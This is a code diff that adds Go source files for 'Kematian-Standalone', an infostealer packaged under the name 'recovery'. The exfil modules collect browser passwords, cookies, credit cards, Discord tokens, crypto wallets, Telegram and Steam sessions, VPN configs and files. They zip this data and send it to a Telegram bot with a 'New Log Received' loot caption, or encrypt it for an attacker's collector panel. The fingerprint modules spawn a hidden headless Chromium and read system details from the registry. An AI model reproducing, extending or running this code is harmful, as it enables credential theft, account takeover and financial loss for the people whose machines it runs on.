log.Printf("[discord] "+format, args...) +} diff --git a/Kematian-Standalone/native/recovery/exfil/panel.go b/Kematian-Standalone/native/recovery/exfil/panel.go new file mode 100644 index 0000000..f460f73 --- /dev/null +++ b/Kematian-Standalone/native/recovery/exfil/panel.go @@ -0,0 +1,248 @@ +package exfil + +import ( + "bytes" + "crypto/ecdh" + "crypto/rand" + "crypto/sha256" + "encoding/base64" + "encoding/hex" + "context" + "encoding/json" + "fmt" + "io" + "net/http" + "os" + "runtime" + "strings" + "time" + + "golang.org/x/crypto/chacha20poly1305" + "golang.org/x/crypto/hkdf" + + "recovery/recovery/types" +) + +// PANEL_ENDPOINT is where the collector panel lives. URL + key are baked at +// build time (see build_final.bat or set here). +// PANEL_PUBKEY is the panel's E2EE public key (hex). Get it from /e2ee/pub on +// the panel. Only this public key is needed to post; decryption needs the +// private key that only the panel holds. +var ( + PanelEndpoint = "http://127.0.0.1:5000/api/ingest" + PanelPubKey = "" + // Ingest key must match PANEL_INGEST_KEY on the panel. + PanelAuth = "CHANGE-ME" +) + +const ( + e2eeSalt = "kematian-e2ee-salt" + e2eeInfo = "kematian-e2ee-v1" +) + +// e2eeSeal encrypts plaintext toward the panel's public key. +// Wire format: base64( ephemeral_pub(32) || nonce(12) || ciphertext ) +func e2eeSeal(plaintext []byte) (string, error) { + pkBytes, err := hex.DecodeString(PanelPubKey) + if err != nil || len(pkBytes) != 32 { + return "", fmt.Errorf("invalid panel public key: %v", err) + } + curve := ecdh.X25519() + panelPub, err := curve.NewPublicKey(pkBytes) + if err != nil { + return "", err + } + ephPriv, err := curve.GenerateKey(rand.Reader) + if err != nil { + return "", err + } + shared, err := ephPriv.ECDH(panelPub) + if err != nil { + return "", err + } + + // HKDF-SHA256(shared, salt, info) -> 32-byte key + r := hkdf.New(sha256.New, shared, []byte(e2eeSalt), []byte(e2eeInfo)) + key := make([]byte, chacha20poly1305.KeySize) + if _, err := io.ReadFull(r, key); err != nil { + return "", err + } + + aead, err := chacha20poly1305.New(key) + if err != nil { + return "", err + } + nonce := make([]byte, aead.NonceSize()) + if _, err := rand.Read(nonce); err != nil { + return "", err + } + ct := aead.Seal(nil, nonce, plaintext, nil) + + wire := append(ephPriv.PublicKey().Bytes(), nonce...) + wire = append(wire, ct...) + return base64.StdEncoding.EncodeToString(wire), nil +} + +// ensurePubKey fetches the panel's E2EE public key at runtime if it isn't +// already embedded. This removes the need to paste the key at build time: only +// the endpoint + auth key are baked in, the agent asks the panel for its key. +func ensurePubKey() error { + if PanelPubKey != "" { + return nil + } + req, err := http.NewRequestWithContext(context.Background(), "GET", buildBaseURL()+"/e2ee/pub", nil) + if err != nil { + return err + } + req.Header.Set("Authorization", "Bearer "+PanelAuth) + resp, err := http.DefaultClient.Do(req) + if err != nil { + return fmt.Errorf("fetching pubkey: %w", err) + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return fmt.Errorf("pubkey endpoint returned %s", resp.Status) + } + body, _ := io.ReadAll(resp.Body) + var out struct { + PublicKey string `json:"publicKey"` + } + if err := json.Unmarshal(body, &out); err != nil { + return fmt.Errorf("parsing pubkey: %w", err) + } + if len(out.PublicKey) != 64 { + return fmt.Errorf("unexpected pubkey length %d", len(out.PublicKey)) + } + PanelPubKey = out.PublicKey + return nil +} + +func buildBaseURL() string { + return strings.TrimSuffix(PanelEndpoint, "/api/ingest") +} + +// SendToPanel posts the encrypted CollectionResult (+ optional binary payloads) +// to the collector panel over E2EE. +func SendToPanel(result *types.CollectionResult, clientID string, payloads ...types.Payload) error { + if PanelEndpoint == "" { + return fmt.Errorf("panel endpoint not configured") + } + if err := ensurePubKey(); err != nil { + return err + } + if PanelPubKey == "" { + return fmt.Errorf("no pubkey available") + } + + payload := buildPanelPayload(result, clientID) + if len(payloads) > 0 { + payload["payloads"] = payloads + } + + plainJSON, err := json.Marshal(payload) + if err != nil { + return err + } + enc, err := e2eeSeal(plainJSON) + if err != nil { + return err + } + body, _ := json.Marshal(map[string]string{"enc": enc}) + + req, err := http.NewRequestWithContext(context.Background(), "POST", PanelEndpoint, bytes.NewReader(body)) + if err != nil { + return err + } + req.Header.Set("Content-Type", "application/json") + req.Header.Set("Authorization", "Bearer "+PanelAuth) + + client := &http.Client{Timeout: 60 * time.Second} + resp, err := client.Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + respBody, _ := io.ReadAll(resp.Body) + if resp.StatusCode != http.StatusOK { + return fmt.Errorf("panel rejected: %s - %s", resp.Status, strings.TrimSpace(string(respBody))) + } + return nil +} + +func guessOS() string { + if runtime.GOOS == "windows" { + return os.Getenv("OS") + } + return runtime.GOOS +} + +func guessArch() string { + return runtime.GOARCH +} + +func GenerateClientID() string { + b := make([]byte, 12) + _, _ = rand.Read(b) + return base64.RawURLEncoding.EncodeToString(b) +} + +// buildPanelPayload maps a CollectionResult to the flat structure the panel +// ingest stores into its per-category tables. clientID groups everything. +func buildPanelPayload(r *types.CollectionResult, clientID string) map[string]interface{} { + p := map[string]interface{}{ + "clientId": clientID, + "host": map[string]interface{}{ + "os": guessOS(), + "arch": guessArch(), + }, + } + if l := len(r.Passwords); l > 0 { + p["passwords"] = r.Passwords + } + if l := len(r.Cookies); l > 0 { + p["cookies"] = r.Cookies + } + if l := len(r.Autofill); l > 0 { + p["autofill"] = r.Autofill + } + if l := len(r.History); l > 0 { + p["history"] = r.History + } + if l := len(r.Bookmarks); l > 0 { + p["bookmarks"] = r.Bookmarks + } + if l := len(r.CreditCards); l > 0 { + p["creditCards"] = r.CreditCards + } + if l := len(r.DiscordTokens); l > 0 { + p["discordTokens"] = r.DiscordTokens + } + if l := len(r.Files); l > 0 { + p["files"] = r.Files + } + if l := len(r.Extensions); l > 0 { + p["extensions"] = r.Extensions + } + if l := len(r.Wallets); l > 0 { + p["wallets"] = r.Wallets + } + if l := len(r.Telegram); l > 0 { + p["telegram"] = r.Telegram + } + if l := len(r.Keys); l > 0 { + p["keys"] = r.Keys + } + if l := len(r.AppCredentials); l > 0 { + p["appCredentials"] = r.AppCredentials + } + if r.Gaming != nil { + p["gaming"] = r.Gaming + if r.Gaming.Steam != nil && len(r.Gaming.Steam.SteamTokens) > 0 { + p["steamTokens"] = r.Gaming.Steam.SteamTokens + } + } + if r.VPNs != nil { + p["vpns"] = r.VPNs + } + return p +} diff --git a/Kematian-Standalone/native/recovery/exfil/telegram.go b/Kematian-Standalone/native/recovery/exfil/telegram.go new file mode 100644 index 0000000..eb75548 --- /dev/null +++ b/Kematian-Standalone/native/recovery/exfil/telegram.go @@ -0,0 +1,264 @@ +package exfil + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "io" + "mime/multipart" + "net/http" + "os" + "path/filepath" + "strings" + "time" + + "recovery/recovery" + "recovery/recovery/types" + "recovery/recovery/ziputil" +) + +type TelegramConfig struct { + BotToken string + ChatID string +} + +func SendToTelegram(cfg TelegramConfig, zipData []byte, filename string, counts map[string]int) error { + url := fmt.Sprintf("https://api.telegram.org/bot%s/sendDocument", cfg.BotToken) + + hostname, _ := os.Hostname() + username := os.Getenv("USERNAME") + if username == "" { + username = os.Getenv("USER") + } + + ip := getExternalIP() + + caption := fmt.Sprintf(`✨ New Log Received ✨ + +💻 User: %s@%s +🌍 IP: %s + +📊 Main Loot: +🔑 Passwords: %d +🍪 Cookies: %d +💰 Wallets: %d + +📦 Additional Data: +💬 Messengers: %d +🔐 Extensions: %d +🔑 Keys: %d +🎮 Gaming: %d +🌐 VPNs: %d +📁 Files: %d`, + username, hostname, ip, + counts["passwords"], counts["cookies"], counts["wallets"], + counts["telegram"], counts["extensions"], counts["keys"], + counts["gaming"], counts["vpns"], counts["files"]) + + var buf bytes.Buffer + writer := multipart.NewWriter(&buf) + + _ = writer.WriteField("chat_id", cfg.ChatID) + _ = writer.WriteField("caption", caption) + _ = writer.WriteField("parse_mode", "HTML") + + part, err := writer.CreateFormFile("document", filename) + if err != nil { + return err + } + _, _ = part.Write(zipData) + writer.Close() + + req, err := http.NewRequestWithContext(context.Background(), "POST", url, &buf) + if err != nil { + return err + } + req.Header.Set("Content-Type", writer.FormDataContentType()) + + client := &http.Client{Timeout: 120 * time.Second} + resp, err := client.Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + + if resp.StatusCode != http.StatusOK { + body, _ := io.ReadAll(resp.Body) + return fmt.Errorf("telegram API error: %s - %s", resp.Status, string(body)) + } + return nil +} + +func getExternalIP() string { + client := &http.Client{Timeout: 5 * time.Second} + resp, err := client.Get("https://api.ipify.org") + if err != nil { + return "unknown" + } + defer resp.Body.Close() + body, _ := io.ReadAll(resp.Body) + return strings.TrimSpace(string(body)) +} + +func CollectAndZipAll(ctx context.Context) ([]byte, map[string]int, error) { + result, zipData, counts, _, err := CollectResultAndZip(ctx) + if err != nil { + return nil, nil, err + } + _ = result + return zipData, counts, nil +} + +// CollectResultAndZip collects a full snapshot and returns: +// - the typed result (for the panel) +// - a single zip of every json+dump for Telegram +// - per-category counts +// - individual binary payloads (wallet/telegram/steam zips) for the panel +func CollectResultAndZip(ctx context.Context) (*types.CollectionResult, []byte, map[string]int, []types.Payload, error) { + opts := types.CollectOptions{ + Browsers: true, + Passwords: true, + Cookies: true, + Autofill: true, + History: true, + Bookmarks: true, + CreditCards: true, + Discord: true, + Files: true, + Wallets: true, + Telegram: true, + Keys: true, + Apps: true, + Gaming: true, + VPNs: true, + } + + tmpDir, err := os.MkdirTemp("", "kematian-*") + if err != nil { + return nil, nil, nil, nil, err + } + defer os.RemoveAll(tmpDir) + + result, err := recovery.Collect(ctx, opts, nil) + if err != nil { + return nil, nil, nil, nil, fmt.Errorf("collection failed: %w", err) + } + + extensions := recovery.ScanExtensions() + result.Extensions = extensions + + counts := map[string]int{ + "passwords": len(result.Passwords), + "cookies": len(result.Cookies), + "wallets": len(result.Wallets), + "telegram": len(result.Telegram), + "extensions": len(result.Extensions), + "keys": len(result.Keys), + "gaming": 0, + "vpns": 0, + "files": len(result.Files), + } + + if result.Gaming != nil { + if result.Gaming.Steam != nil { + counts["gaming"]++ + } + counts["gaming"] += len(result.Gaming.BattleNet) + len(result.Gaming.Epic) + len(result.Gaming.Riot) + len(result.Gaming.Uplay) + } + if result.VPNs != nil { + counts["vpns"] = len(result.VPNs.NordVPN) + len(result.VPNs.WireGuard) + len(result.VPNs.OpenVPN) + len(result.VPNs.Mullvad) + } + + writeJSON := func(name string, data interface{}) error { + jsonData, err := json.MarshalIndent(data, "", " ") + if err != nil { + return err + } + return os.WriteFile(filepath.Join(tmpDir, name+".json"), jsonData, 0644) + } + + _ = writeJSON("passwords", result.Passwords) + _ = writeJSON("cookies", result.Cookies) + _ = writeJSON("autofill", result.Autofill) + _ = writeJSON("history", result.History) + _ = writeJSON("bookmarks", result.Bookmarks) + _ = writeJSON("credit_cards", result.CreditCards) + _ = writeJSON("discord_tokens", result.DiscordTokens) + _ = writeJSON("extensions", result.Extensions) + _ = writeJSON("wallets", result.Wallets) + _ = writeJSON("telegram", result.Telegram) + _ = writeJSON("keys", result.Keys) + _ = writeJSON("app_credentials", result.AppCredentials) + _ = writeJSON("gaming", result.Gaming) + _ = writeJSON("vpns", result.VPNs) + var steamTokens []types.SteamTokenResult + if result.Gaming != nil && result.Gaming.Steam != nil { + steamTokens = result.Gaming.Steam.SteamTokens + } + _ = writeJSON("steam_tokens", steamTokens) + _ = writeJSON("fingerprint", recovery.CollectFingerprint()) + _ = writeJSON("js_fingerprint", recovery.CollectJSFingerprint()) + _ = writeJSON("meta", map[string]string{"collected_at": time.Now().Format(time.RFC3339)}) + + // Individual payloads are shipped to the panel directly so it can host the + // actual login files (wallet dirs, telegram sessions, steam session). + var payloads []types.Payload + + for _, wallet := range result.Wallets { + if wallet.Path != "" { + zipData, err := recovery.ZipDirectory(wallet.Path) + if err == nil && len(zipData) > 0 { + fname := fmt.Sprintf("wallet_%s.zip", sanitizeFilename(wallet.Name)) + os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644) + payloads = append(payloads, types.Payload{ + Category: "wallet", Name: wallet.Name, Filename: fname, + Size: len(zipData), Data: zipData, + }) + } + } + } + + for _, tg := range result.Telegram { + if tg.Path != "" { + zipData, err := recovery.ZipTelegram(tg.Path) + if err == nil && len(zipData) > 0 { + fname := fmt.Sprintf("telegram_%s.zip", sanitizeFilename(tg.Account)) + os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644) + payloads = append(payloads, types.Payload{ + Category: "telegram", Name: tg.Account, Filename: fname, + Size: len(zipData), Data: zipData, + }) + } + } + } + + if result.Gaming != nil { + if result.Gaming.Steam != nil && result.Gaming.Steam.SteamPath != "" { + zipData, err := recovery.ZipSteamSession(result.Gaming.Steam.SteamPath) + if err == nil && len(zipData) > 0 { + fname := "steam_session.zip" + os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644) + payloads = append(payloads, types.Payload{ + Category: "steam", Name: "steam", Filename: fname, + Size: len(zipData), Data: zipData, + }) + } + } + } + + zipData, err := ziputil.ZipDirectory(tmpDir) + if err != nil { + return nil, nil, nil, nil, err + } + + return result, zipData, counts, payloads, nil +} + +func sanitizeFilename(name string) string { + replacer := strings.NewReplacer( + "/", "_", "\\", "_", ":", "_", "*", "_", "?", "_", + "\"", "_", "<", "_", ">", "_", "|", "_", " ", "_", + ) + return replacer.Replace(name) +} \ No newline at end of file diff --git a/Kematian-Standalone/native/recovery/fingerprint/fingerprint_browser.go b/Kematian-Standalone/native/recovery/fingerprint/fingerprint_browser.go new file mode 100644 index 0000000..96e27aa --- /dev/null +++ b/Kematian-Standalone/native/recovery/fingerprint/fingerprint_browser.go @@ -0,0 +1,264 @@ +//go:build windows + +package fingerprint + +import ( + "context" + "encoding/json" + "fmt" + "io" + "net/http" + "os" + "os/exec" + "path/filepath" + "strings" + "time" + + "github.com/chromedp/cdproto/runtime" + "github.com/chromedp/chromedp" +) + +func evalAwaitPromise(p *runtime.EvaluateParams) *runtime.EvaluateParams { + return p.WithAwaitPromise(true) +} + +const fingerprintJS = `(async () => { + const out = {}; + try { + const c = document.createElement("canvas"); + c.width = 220; c.height = 60; + const x = c.getContext("2d"); + x.textBaseline = "top"; + x.font = "14px 'Arial'"; + x.fillStyle = "#f60"; + x.fillRect(0, 0, 220, 60); + x.fillStyle = "#069"; + x.fillText("Cwm fjordbank glyphs vext quiz \uD83D\uDE03", 2, 2); + x.fillStyle = "rgba(102, 204, 0, 0.7)"; + x.fillText("Cwm fjordbank glyphs vext quiz \uD83D\uDE03", 4, 17); + x.fillStyle = "#f60"; + x.beginPath(); x.arc(100, 40, 20, 0, Math.PI * 2, true); x.fill(); + out.canvas = c.toDataURL(); + } catch (e) {} + try { + const gl = document.createElement("canvas").getContext("webgl"); + if (gl) { + const ext = gl.getExtension("WEBGL_debug_renderer_info"); + out.webglRenderer = ext ? String(gl.getParameter(ext.UNMASKED_RENDERER_WEBGL)) : String(gl.getParameter(gl.RENDERER)); + out.webglVendor = ext ? String(gl.getParameter(ext.UNMASKED_VENDOR_WEBGL)) : String(gl.getParameter(gl.VENDOR)); + out.webglVersion = String(gl.getParameter(gl.VERSION)); + const keys = ["MAX_TEXTURE_SIZE","MAX_VIEWPORT_DIMS","MAX_RENDERBUFFER_SIZE","MAX_VERTEX_ATTRIBS","MAX_VERTEX_UNIFORM_VECTORS","MAX_VARYING_VECTORS","MAX_FRAGMENT_UNIFORM_VECTORS","MAX_TEXTURE_IMAGE_UNITS","MAX_COMBINED_TEXTURE_IMAGE_UNITS","ALIASED_LINE_WIDTH_RANGE","ALIASED_POINT_SIZE_RANGE"]; + const params = {}; + for (const k of keys) { + try { + let v = gl.getParameter(gl[k]); + if (v && v.length !== undefined && typeof v !== "string") v = Array.from(v); + params[k] = v; + } catch (e) {} + } + out.webglParams = params; + const exts = gl.getSupportedExtensions(); + out.webglExtensions = exts ? exts.slice().sort() : []; + } + } catch (e) {} + try { + const ac = new OfflineAudioContext(1, 44100, 44100); + const osc = ac.createOscillator(); + osc.type = "triangle"; + osc.frequency.value = 10000; + const comp = ac.createDynamicsCompressor(); + comp.threshold.value = -50; + comp.knee.value = 40; + comp.ratio.value = 12; + comp.attack.value = 0; + comp.release.value = 0.25; + osc.connect(comp); + comp.connect(ac.destination); + osc.start(0); + const buf = await ac.startRendering(); + const data = buf.getChannelData(0); + let sum = 0; + for (let i = 0; i < data.length; i++) sum += Math.abs(data[i]); + out.audio = sum; + } catch (e) {} + return out; +})()` + +func CollectJS() *JSResult { + res, err := collectJS() + if err != nil { + return nil + } + return res +} + +func collectJS() (*JSResult, error) { + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + + if wsURL := findExistingDebugURL(); wsURL != "" { + logf("found existing debug endpoint") + if res, err := runRemote(ctx, wsURL); err == nil { + return res, nil + } else { + logf("existing debug endpoint failed: %v", err) + } + } + + chrome := browserExePath("Chrome") + if chrome == "" { + chrome = browserExePath("Edge") + } + if chrome == "" { + return nil, fmt.Errorf("no Chromium browser found") + } + logf("spawning hidden Chromium: %s", chrome) + res, err := runHidden(ctx, chrome) + if err != nil { + logf("hidden Chromium failed: %v", err) + } + return res, err +} + +func runRemote(ctx context.Context, wsURL string) (*JSResult, error) { + allocCtx, cancel := chromedp.NewRemoteAllocator(ctx, wsURL) + defer cancel() + return evalJS(allocCtx) +} + +func runHidden(ctx context.Context, chromePath string) (*JSResult, error) { + dataDir, err := os.MkdirTemp("", "kematian_fp_*") + if err != nil { + return nil, fmt.Errorf("temp profile dir: %w", err) + } + defer os.RemoveAll(dataDir) + + if res, err := runHiddenWith(ctx, chromePath, dataDir, true); err == nil { + return res, nil + } else { + logf("GPU launch failed: %v; retrying with software rendering", err) + } + return runHiddenWith(ctx, chromePath, dataDir, false) +} + +func runHiddenWith(ctx context.Context, chromePath, dataDir string, gpu bool) (*JSResult, error) { + args := []string{ + "--headless", + "--no-sandbox", + "--disable-dev-shm-usage", + "--no-first-run", + "--no-default-browser-check", + "--disable-extensions", + "--user-data-dir=" + dataDir, + "--remote-debugging-port=0", + "about:blank", + } + if gpu { + args = append(args, "--use-gl=angle", "--use-angle=d3d11", "--disable-gpu-sandbox") + } else { + args = append(args, "--disable-gpu") + } + + cmd := exec.Command(chromePath, args...) + cmd.Stdout = io.Discard + cmd.Stderr = chromeLogWriter{} + if err := cmd.Start(); err != nil { + return nil, fmt.Errorf("start chrome: %w", err) + } + defer func() { _ = cmd.Process.Kill() }() + + wsURL, err := waitForDevTools(dataDir, 10*time.Second) + if err != nil { + return nil, err + } + + allocCtx, cancel := chromedp.NewRemoteAllocator(ctx, wsURL) + defer cancel() + return evalJS(allocCtx) +} + +func waitForDevTools(dataDir string, timeout time.Duration) (string, error) { + portFile := filepath.Join(dataDir, "DevToolsActivePort") + deadline := time.Now().Add(timeout) + for time.Now().Before(deadline) { + data, err := os.ReadFile(portFile) + if err == nil { + lines := strings.Split(strings.TrimSpace(string(data)), "\n") + if len(lines) >= 2 { + port := strings.TrimSpace(lines[0]) + path := strings.TrimSpace(lines[1]) + if port != "" && path != "" { + return "ws://127.0.0.1:" + port + path, nil + } + } + } + time.Sleep(100 * time.Millisecond) + } + return "", fmt.Errorf("chrome did not expose a DevTools port") +} + +type chromeLogWriter struct{} + +func (chromeLogWriter) Write(p []byte) (int, error) { + for _, line := range strings.Split(strings.TrimSpace(string(p)), "\n") { + if line != "" { + logf("chrome: %s", line) + } + } + return len(p), nil +} + +func evalJS(allocCtx context.Context) (*JSResult, error) { + cctx, cancel := chromedp.NewContext(allocCtx) + defer cancel() + + var out JSResult + if err := chromedp.Run(cctx, + chromedp.Navigate("about:blank"), + chromedp.Evaluate(fingerprintJS, &out, evalAwaitPromise), + ); err != nil { + return nil, err + } + return &out, nil +} + +func findExistingDebugURL() string { + local := os.Getenv("LOCALAPPDATA") + if local == "" { + return "" + } + for _, dir := range []string{`Google\Chrome\User Data`, `Microsoft\Edge\User Data`, `BraveSoftware\Brave-Browser\User Data`} { + data, err := os.ReadFile(filepath.Join(local, dir, "DevToolsActivePort")) + if err != nil { + continue + } + lines := strings.Split(strings.TrimSpace(string(data)), "\n") + if len(lines) < 2 { + continue + } + port := strings.TrimSpace(lines[0]) + if port == "" { + continue + } + if wsURL, err := debugWebSocketURL(port); err == nil && wsURL != "" { + return wsURL + } + } + return "" +} + +func debugWebSocketURL(port string) (string, error) { + client := &http.Client{Timeout: 2 * time.Second} + resp, err := client.Get("http://127.0.0.1:" + port + "/json/version") + if err != nil { + return "", err + } + defer resp.Body.Close() + var v struct { + WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"` + } + if err := json.NewDecoder(resp.Body).Decode(&v); err != nil { + return "", err + } + return v.WebSocketDebuggerURL, nil +} diff --git a/Kematian-Standalone/native/recovery/fingerprint/fingerprint_browser_stub.go b/Kematian-Standalone/native/recovery/fingerprint/fingerprint_browser_stub.go new file mode 100644 index 0000000..cecad62 --- /dev/null +++ b/Kematian-Standalone/native/recovery/fingerprint/fingerprint_browser_stub.go @@ -0,0 +1,7 @@ +//go:build !windows + +package fingerprint + +func CollectJS() *JSResult { + return nil +} diff --git a/Kematian-Standalone/native/recovery/fingerprint/fingerprint_stub.go b/Kematian-Standalone/native/recovery/fingerprint/fingerprint_stub.go new file mode 100644 index 0000000..bcc6eb1 --- /dev/null +++ b/Kematian-Standalone/native/recovery/fingerprint/fingerprint_stub.go @@ -0,0 +1,7 @@ +//go:build !windows + +package fingerprint + +func Collect() *Result { + return &Result{} +} diff --git a/Kematian-Standalone/native/recovery/fingerprint/fingerprint_windows.go b/Kematian-Standalone/native/recovery/fingerprint/fingerprint_windows.go new file mode 100644 index 0000000..f289a5a --- /dev/null +++ b/Kematian-Standalone/native/recovery/fingerprint/fingerprint_windows.go @@ -0,0 +1,483 @@ +//go:build windows + +package fingerprint + +import ( + "fmt" + "net" + "os" + "path/filepath" + "runtime" + "sort" + "strings" + "syscall" + "unsafe" + + "golang.org/x/sys/windows/registry" +) + +// ── Win32 API (raw syscalls) ────────────────────────────────────── + +var ( + user32 = syscall.NewLazyDLL("user32.dll") + kernel32 = syscall.NewLazyDLL("kernel32.dll") + gdi32 = syscall.NewLazyDLL("gdi32.dll") + + procGetSystemMetrics = user32.NewProc("GetSystemMetrics") + procSystemParametersInfo = user32.NewProc("SystemParametersInfoW") + procGetDC = user32.NewProc("GetDC") + procReleaseDC = user32.NewProc("ReleaseDC") + procGetDeviceCaps = gdi32.NewProc("GetDeviceCaps") + procGetActiveProcessorCount = kernel32.NewProc("GetActiveProcessorCount") + procGlobalMemoryStatusEx = kernel32.NewProc("GlobalMemoryStatusEx") + procGetUserDefaultLocaleName = kernel32.NewProc("GetUserDefaultLocaleName") + procGetTimeZoneInformation = kernel32.NewProc("GetTimeZoneInformation") +) + +type memoryStatusEx struct { + Length uint32 + MemoryLoad uint32 + TotalPhys uint64 + AvailPhys uint64 + TotalPageFile uint64 + AvailPageFile uint64 + TotalVirtual uint64 + AvailVirtual uint64 + AvailExtendedVirtual uint64 +} + +type systemTime struct { + Year uint16 + Month uint16 + DayOfWeek uint16 + Day uint16 + Hour uint16 + Minute uint16 + Second uint16 + Milliseconds uint16 +} + +type timeZoneInformation struct { + Bias int32 + StandardName [32]uint16 + StandardDate systemTime + StandardBias int32 + DaylightName [32]uint16 + DaylightDate systemTime + DaylightBias int32 +} + +type rect struct { + Left int32 + Top int32 + Right int32 + Bottom int32 +} + +// ── Collect ─────────────────────────────────────────────────────── + +func Collect() *Result { + r := &Result{ + Platform: "Win32", + OSArch: runtime.GOARCH, + } + + r.OS = osProductName() + r.HardwareConcurrency = cpuCores() + r.DeviceMemory = deviceMemoryGB() + r.MaxTouchPoints = getSystemMetrics(95) // SM_MAXIMUMTOUCHES + r.ScreenWidth = getSystemMetrics(0) // SM_CXSCREEN + r.ScreenHeight = getSystemMetrics(1) // SM_CYSCREEN + + var work rect + if systemParametersInfo(0x0030 /*SPI_GETWORKAREA*/, 0, unsafe.Pointer(&work), 0) { + r.AvailWidth = int(work.Right - work.Left) + r.AvailHeight = int(work.Bottom - work.Top) + } + + hdc, _, _ := procGetDC.Call(0) + if hdc != 0 { + r.ColorDepth = getDeviceCaps(hdc, 12) // BITSPIXEL + if dpi := getDeviceCaps(hdc, 88); dpi > 0 { // LOGPIXELSX + r.DevicePixelRatio = float64(dpi) / 96.0 + } + procReleaseDC.Call(0, hdc) + } + + r.Timezone, r.TimezoneOffset = timezoneInfo() + r.Languages = languages() + r.Fonts = fonts() + r.GPU = gpuName() + r.Browsers = installedBrowsers() + r.UserAgent = userAgent(r.Browsers) + r.LocalIPs = localIPs() + + return r +} + +func getSystemMetrics(index int) int { + v, _, _ := procGetSystemMetrics.Call(uintptr(index)) + return int(v) +} + +func systemParametersInfo(uiAction, uiParam uint32, pvParam unsafe.Pointer, fWinIni uint32) bool { + r, _, _ := procSystemParametersInfo.Call(uintptr(uiAction), uintptr(uiParam), uintptr(pvParam), uintptr(fWinIni)) + return r != 0 +} + +func getDeviceCaps(hdc uintptr, index int) int { + v, _, _ := procGetDeviceCaps.Call(hdc, uintptr(index)) + return int(v) +} + +func cpuCores() int { + v, _, _ := procGetActiveProcessorCount.Call(0xffff) // ALL_PROCESSOR_GROUPS + if v == 0 { + return runtime.NumCPU() + } + return int(v) +} + +func deviceMemoryGB() int { + var ms memoryStatusEx + ms.Length = uint32(unsafe.Sizeof(ms)) + r, _, _ := procGlobalMemoryStatusEx.Call(uintptr(unsafe.Pointer(&ms))) + if r == 0 { + return 0 + } + gb := int(ms.TotalPhys / (1 << 30)) + if gb > 8 { + gb = 8 // navigator.deviceMemory is clamped to 8 + } + return gb +} + +// ── OS ───────────────────────────────────────────────────────────── + +func osProductName() string { + k, err := registry.OpenKey(registry.LOCAL_MACHINE, + `SOFTWARE\Microsoft\Windows NT\CurrentVersion`, registry.QUERY_VALUE) + if err != nil { + return "Windows" + } + defer k.Close() + + product, _, _ := k.GetStringValue("ProductName") + build, _, _ := k.GetStringValue("CurrentBuildNumber") + display, _, _ := k.GetStringValue("DisplayVersion") + ubr, _, _ := k.GetStringValue("UBR") + + name := product + if name == "" { + name = "Windows" + } + ver := display + if ver == "" && build != "" { + ver = build + if ubr != "" { + ver = build + "." + ubr + } + } + if ver != "" { + return name + " " + ver + } + return name +} + +// ── Timezone ────────────────────────────────────────────────────── + +// windowsToIANA maps common Windows timezone names to IANA identifiers. +var windowsToIANA = map[string]string{ + "Eastern Standard Time": "America/New_York", + "Central Standard Time": "America/Chicago", + "Mountain Standard Time": "America/Denver", + "Pacific Standard Time": "America/Los_Angeles", + "Alaskan Standard Time": "America/Anchorage", + "Hawaiian Standard Time": "Pacific/Honolulu", + "Atlantic Standard Time": "America/Halifax", + "Newfoundland Standard Time": "America/St_Johns", + "GMT Standard Time": "Europe/London", + "Greenwich Standard Time": "Atlantic/Reykjavik", + "W. Europe Standard Time": "Europe/Berlin", + "Central Europe Standard Time": "Europe/Budapest", + "Romance Standard Time": "Europe/Paris", + "Central European Standard Time": "Europe/Warsaw", + "E. Europe Standard Time": "Europe/Chisinau", + "Russian Standard Time": "Europe/Moscow", + "Israel Standard Time": "Asia/Jerusalem", + "China Standard Time": "Asia/Shanghai", + "Tokyo Standard Time": "Asia/Tokyo", + "Korea Standard Time": "Asia/Seoul", + "Singapore Standard Time": "Asia/Singapore", + "India Standard Time": "Asia/Kolkata", + "AUS Eastern Standard Time": "Australia/Sydney", + "New Zealand Standard Time": "Pacific/Auckland", + "SA Pacific Standard Time": "America/Bogota", + "Argentina Standard Time": "America/Argentina/Buenos_Aires", + "E. South America Standard Time": "America/Sao_Paulo", +} + +func timezoneInfo() (string, int) { + var tzi timeZoneInformation + r, _, _ := procGetTimeZoneInformation.Call(uintptr(unsafe.Pointer(&tzi))) + if r == 0xFFFFFFFF { + return "", 0 + } + windowsName := syscall.UTF16ToString(tzi.StandardName[:]) + offset := -int(tzi.Bias) + + iana := windowsToIANA[windowsName] + if iana == "" { + iana = windowsName + } + return iana, offset +} + +// ── Languages ───────────────────────────────────────────────────── + +func languages() []string { + var langs []string + var buf [85]uint16 + r, _, _ := procGetUserDefaultLocaleName.Call(uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf))) + if r > 0 && r <= uintptr(len(buf)) { + locale := syscall.UTF16ToString(buf[:r]) + if locale != "" { + langs = append(langs, locale) + } + } + + if prefs := chromeAcceptLanguages(); prefs != "" { + for _, l := range strings.Split(prefs, ",") { + l = strings.TrimSpace(l) + if l != "" && !containsStr(langs, l) { + langs = append(langs, l) + } + } + } + return langs +} + +func chromeAcceptLanguages() string { + local := os.Getenv("LOCALAPPDATA") + if local == "" { + return "" + } + path := filepath.Join(local, `Google\Chrome\User Data\Default\Preferences`) + data, err := os.ReadFile(path) + if err != nil { + return "" + } + s := string(data) + idx := strings.Index(s, `"accept_languages"`) + if idx < 0 { + return "" + } + rest := s[idx:] + colon := strings.Index(rest, ":") + if colon < 0 { + return "" + } + rest = rest[colon+1:] + start := strings.Index(rest, `"`) + if start < 0 { + return "" + } + rest = rest[start+1:] + end := strings.Index(rest, `"`) + if end < 0 { + return "" + } + return rest[:end] +} + +// ── Fonts ───────────────────────────────────────────────────────── + +func fonts() []string { + k, err := registry.OpenKey(registry.LOCAL_MACHINE, + `SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts`, + registry.ENUMERATE_SUB_KEYS|registry.QUERY_VALUE) + if err != nil { + return nil + } + defer k.Close() + + names, err := k.ReadValueNames(-1) + if err != nil { + return nil + } + + var out []string + seen := map[string]bool{} + for _, name := range names { + f := strings.TrimSpace(name) + f = strings.TrimSuffix(f, " (TrueType)") + f = strings.TrimSuffix(f, " (OpenType)") + f = strings.TrimSuffix(f, " (All res)") + if f 